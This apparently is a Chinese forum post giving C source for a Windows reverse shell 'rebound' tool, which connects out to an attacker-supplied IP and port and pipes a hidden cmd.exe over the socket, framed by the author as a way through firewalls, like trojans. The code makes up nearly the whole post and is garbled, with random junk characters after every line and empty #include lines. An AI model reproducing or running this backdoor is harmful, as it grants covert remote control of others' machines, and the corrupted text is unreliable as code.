Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 WZ.d"EE"  
.aRL'1xHl  
/* ============================== Salu[)+?  
Rebound port in Windows NT ^iaeY jI  
By wind,2006/7 Q:iW k6  
===============================*/ 4fDo}~  
#include 
KR  
#include ,v"/3Ff{,  
nMU#g])y)  
#pragma comment(lib,"wsock32.lib") V/j]UK0$  
dEXHd@"H  
void OutputShell(); <`dF~  
SOCKET sClient; V/5hEoDt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qA- ya6  
rT`D@ I  
void main(int argc,char **argv) oz}p]l7  
{  FNZB M  
WSADATA stWsaData; FswMEf-|  
int nRet; 1B3,lYBM  
SOCKADDR_IN stSaiClient,stSaiServer; V07x+ovq  
}?P~qJ|1  
if(argc != 3) @LY 5]og  
{ $Z;HE/3  
printf("Useage:\n\rRebound DestIP DestPort\n"); A!v-[AI[  
return; XEqg%f  
} .}fc*2.'  
(.,E6H|zI  
WSAStartup(MAKEWORD(2,2),&stWsaData); f{e*R#+&  
v)JQb-<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $8&HpX#h$  
vg5zsR0u  
stSaiClient.sin_family = AF_INET; _lQ+J=J$.R  
stSaiClient.sin_port = htons(0); 1at$_\{.(  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "xdJ9Z-B  
U]sU b3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *9^CgLF  
{ |PN-,f{-  
printf("Bind Socket Failed!\n"); =nnS X-x  
return; >ge-yK 1  
} [[D}
vL8d  
pb%#`2"  
stSaiServer.sin_family = AF_INET; eEsEW<su  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Oe9
{`~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^OG^% x"  
5*buRYck0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jTws0=F*  
{ IJ,,aCj4g  
printf("Connect Error!"); LWbWj ^  
return; uMsKF%m  
} -lL*
WA`  
OutputShell(); (XqeX(s  
} =mqV&FgRo  
|ry;'[*  
void OutputShell() tzpGKhrk6  
{ *ep!gT*4  
char szBuff[1024]; \g4\a?i  
SECURITY_ATTRIBUTES stSecurityAttributes; D~f.)kkC4  
OSVERSIONINFO stOsversionInfo; =|3L'cDC  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #<'/sqL  
STARTUPINFO stStartupInfo; >^J!Z~;L)  
char *szShell; 4d]  
PROCESS_INFORMATION stProcessInformation; (f#W:]o/  
unsigned long lBytesRead; g8k
w|BgnL  
=As'vt 0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >Dtw^1i  
q/OraPAB  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cjN4U [  
stSecurityAttributes.lpSecurityDescriptor = 0; TaolX*$5  
stSecurityAttributes.bInheritHandle = TRUE; Kg](kP  

X_!mZ\H7  
hChM hc  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %oor7 -l  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r LfS9H  
*fd` .}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oub4/0tN,~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LnJ7i"Q  
stStartupInfo.wShowWindow = SW_HIDE; bfpW^y  
stStartupInfo.hStdInput = hReadPipe; [2\`Wh:%P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JAiV7v4&R  
p>}N9v;Bo  
GetVersionEx(&stOsversionInfo); _^'k_a  
=kc{Q@Dk  
switch(stOsversionInfo.dwPlatformId) *E. 2R{  
{ 15eHddd  
case 1: 41uSr 1  
szShell = "command.com"; 9MYt4  
break; 8c/Ii"1  
default: LAwS8t',  
szShell = "cmd.exe"; v'@LuF'e8  
break; [&`>&u@MK  
} eqf~5/Z  
vCmh3TQ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *{Z!m@?  
g1{wxBFE  
send(sClient,szMsg,77,0); RI*%\~6t?  
while(1) w6yeX<!ll  
{ L%8"d6  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v4.V%tg!  
if(lBytesRead) |$w-}$jq5  
{ >5gzo6j/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6FmgK"t8  
send(sClient,szBuff,lBytesRead,0); Q$zlxn 7\  
} :OZhEBL&b  
else }wb;ulN)  
{ yTvK)4&  
lBytesRead=recv(sClient,szBuff,1024,0); .R"L$V$RU.  
if(lBytesRead<=0) break; Cwh;+3?C|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lKwcT!Q4  
} #P@r[VZ{6  
} "|%fAE  
;C<A}  
return; ,5?MRqCM  
}